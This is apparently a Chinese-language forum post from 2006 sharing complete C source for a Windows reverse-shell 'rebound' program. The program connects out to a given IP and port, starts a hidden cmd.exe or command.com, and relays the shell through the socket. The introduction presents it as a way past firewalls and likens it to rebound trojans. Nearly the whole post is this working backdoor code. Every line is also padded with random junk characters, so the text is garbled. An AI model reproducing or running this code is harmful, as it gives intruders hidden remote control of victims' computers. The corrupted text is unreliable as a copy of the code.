这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &H_/`Z]Q
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/* ============================== t/i*.>7
Rebound port in Windows NT 8%4;'[UV
By wind,2006/7 AB=%yM7V*
===============================*/ &zn|),
#include w+m7jn!$
#include 9WHE4'Sa
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#pragma comment(lib,"wsock32.lib") BDt$s(
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void OutputShell(); $GoS?\G
SOCKET sClient; zkt~[-jm}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e_-g|ukC
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void main(int argc,char **argv) /{R
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{ ;apLMMsWC
WSADATA stWsaData; zDg*ds\
int nRet; W *0!Z:?
SOCKADDR_IN stSaiClient,stSaiServer; 2<7pe@c98
<B%wq>4S
if(argc != 3) \]Y<d
{ o.$48h(
printf("Useage:\n\rRebound DestIP DestPort\n"); _9oKW;7f7
return; mR.j8pi
} [KUkv
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WSAStartup(MAKEWORD(2,2),&stWsaData); j1Ys8k%$l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w !kk(QMV
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stSaiClient.sin_family = AF_INET; 3SM'vV0[
stSaiClient.sin_port = htons(0); Q3=X#FQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Qfe u3AT
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +4J'> dr
{ A@M2(?w4
printf("Bind Socket Failed!\n"); +:m)BLA4l
return; ^PdD-tY<
} =ZHN]PP
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stSaiServer.sin_family = AF_INET; :Gz$(!j1.'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F_u?.6e]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vkLt#yj~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C&F%
j. <
{ oe6Ex5h
printf("Connect Error!"); uP7|#>1%
return; ?:q"qwt$F
} 0#c-qy
OutputShell(); z@~ZMk
} 0?R$>=u
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void OutputShell() XffHF^l9F
{ YTgT2w
char szBuff[1024]; 7ey|~u2
SECURITY_ATTRIBUTES stSecurityAttributes; .K940& Ui
OSVERSIONINFO stOsversionInfo; =M{&g
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^=I[uX-3ue
STARTUPINFO stStartupInfo; c5CxR#O
char *szShell; $IKN7
PROCESS_INFORMATION stProcessInformation; 9~,!+#
unsigned long lBytesRead; Q0PqyobD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fk#Ggp<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1_~'?'&^
stSecurityAttributes.lpSecurityDescriptor = 0; Pi&\GMzd
stSecurityAttributes.bInheritHandle = TRUE; U:/_T>f%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EY1L5Ba.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4[0.M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KE)^S
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stStartupInfo.wShowWindow = SW_HIDE; g2lv4Tiq-
stStartupInfo.hStdInput = hReadPipe; 7")&njQ/x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OUHd@up@n
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GetVersionEx(&stOsversionInfo); F,5}3$
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switch(stOsversionInfo.dwPlatformId) {.,y v>%
{ [s!c c:JR
case 1: I>3G"[t
szShell = "command.com"; x(zW<J5X"
break; z:$TW{%M
default: TwE&5F*
szShell = "cmd.exe"; ?y{"OuRf.
break; E<_+Tc
} '$OLU[(Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]_)=xF19
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send(sClient,szMsg,77,0); `=foB-(zt
while(1) Z$@ XMq!
{ "Zicac@N
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]| =#FFz
if(lBytesRead) _nnl+S>K
{ 8<ri"m,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gs|%3k |
send(sClient,szBuff,lBytesRead,0); =mk7'A>l
} ? Kn~fs8
else 0:Lm=9o
{ ]+S.#x`#
lBytesRead=recv(sClient,szBuff,1024,0); 8eoDE. }
if(lBytesRead<=0) break; <tTn$<b
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Wm ?RB0
} D9&FCCiUE
} T%F8=kb-9
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return; 5k}UXRB?
}